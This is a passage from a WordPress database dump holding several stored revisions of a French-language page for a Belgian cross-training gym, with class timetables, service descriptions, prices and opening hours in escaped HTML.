style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:08:26', '2013-07-03 16:08:26', '', 11, 'http://www.crosstrainingcenter.be/?p=160', 0, 'revision', '', 0),
(198, 1, '2013-07-03 17:41:28', '2013-07-03 17:41:28', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 45%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:41:28', '2013-07-03 17:41:28', '', 11, 'http://www.crosstrainingcenter.be/?p=198', 0, 'revision', '', 0),
(173, 1, '2013-07-03 16:42:38', '2013-07-03 16:42:38', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 